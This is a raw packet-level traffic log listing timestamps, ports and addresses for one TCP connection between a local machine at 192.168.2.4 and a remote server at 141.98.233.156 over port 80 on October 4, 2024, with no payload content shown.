Oct 4, 2024 09:52:26.436188936 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436203957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436203957 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436218977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436234951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436243057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436264038 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436296940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436373949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436388969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.436417103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.436434031 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.514930010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.514983892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515041113 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515090942 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515094995 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515125990 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515157938 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515177965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515177965 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515178919 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515192032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515207052 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515221119 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515270948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515281916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515290976 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515333891 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515347004 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515366077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515422106 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515428066 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515460014 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515491009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515499115 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515522957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515535116 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515554905 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515557051 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515572071 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515590906 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515620947 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515645981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515645981 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515676022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515708923 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515721083 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515741110 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515742064 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515760899 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515774012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515806913 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515808105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515829086 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515851021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.515922070 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515953064 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.515985012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516011000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516019106 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516043901 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516072989 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516259909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516293049 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516324043 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516324043 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516341925 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516355991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516374111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516386986 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516418934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516421080 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516439915 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516450882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516482115 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516485929 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516505003 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516515970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516534090 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516547918 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516575098 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516592979 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516819000 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516851902 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516885042 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516900063 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516917944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516932011 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516951084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.516971111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.516982079 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517005920 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517013073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517023087 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517044067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517076015 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517076969 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517093897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517108917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517139912 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517142057 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517162085 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517172098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517199039 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517205954 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517225027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517266035 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517714977 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517743111 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517775059 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517803907 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517806053 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517822027 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517838001 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517864943 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517869949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517882109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517901897 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517932892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517940044 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517960072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517963886 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.517976046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.517997026 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518033981 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518052101 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518276930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518307924 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518338919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518371105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518377066 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518404007 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518404961 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518420935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518434048 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518456936 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518465996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518479109 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518497944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518517017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518529892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518551111 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518562078 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518594027 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518595934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518621922 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518626928 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518637896 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518660069 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518678904 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518691063 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518716097 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518723011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.518734932 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.518784046 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519244909 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519294024 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519315958 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519325972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519356966 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519372940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519372940 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519407034 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519407988 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519433022 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519447088 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519454956 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519460917 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519473076 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519474030 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519486904 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519493103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519500971 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519515038 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519515991 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519529104 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519541979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519556999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519556999 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519568920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519583941 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519593000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519599915 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.519615889 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519638062 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.519671917 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520231962 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520257950 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520272970 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520287991 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520293951 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520303011 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520318031 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520324945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520332098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520347118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520360947 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520365000 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520375013 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520387888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520389080 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520405054 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520418882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520422935 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520432949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520447016 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.520447969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520467997 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.520489931 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521111965 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521127939 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521142006 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521156073 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521157980 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521169901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521183968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521184921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521217108 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521217108 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521231890 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521243095 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521245956 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521260023 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521276951 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.521282911 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.521320105 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603493929 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603539944 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603595972 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603631020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603663921 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603697062 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603698969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603698969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603698969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603698969 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603729010 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603739023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603739023 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603761911 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603794098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603801966 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603826046 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603832006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603858948 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603880882 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603882074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603915930 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603930950 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603945017 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603962898 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.603977919 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.603990078 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604012012 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604024887 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604043961 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604054928 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604077101 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604091883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604110003 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604120970 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604146957 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604156017 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604196072 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604268074 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604299068 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604312897 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604334116 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604343891 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604367018 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604377985 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604399920 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604413033 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604434967 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604445934 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604475021 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604677916 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604712009 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604726076 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604743958 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604753971 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604777098 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604792118 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604809999 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604819059 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604842901 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604856968 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604877949 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.604886055 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.604923010 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605004072 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605035067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605048895 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605074883 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605151892 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605201006 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605204105 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605235100 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605247974 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605266094 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605274916 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605298996 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605309963 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605331898 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605343103 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605364084 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605380058 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605396032 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605407953 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605428934 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605443001 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605463028 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605469942 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605519056 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605922937 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605953932 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605966091 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.605986118 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.605992079 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606019020 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606026888 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606050968 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606059074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606131077 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606138945 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606163979 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606170893 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606194973 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606206894 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606229067 CEST	80	49745	141.98.233.156	192.168.2.4
Oct 4, 2024 09:52:26.606234074 CEST	49745	80	192.168.2.4	141.98.233.156
Oct 4, 2024 09:52:26.606261015 CEST	80	49745	141.98.233.156	192.168.2.4
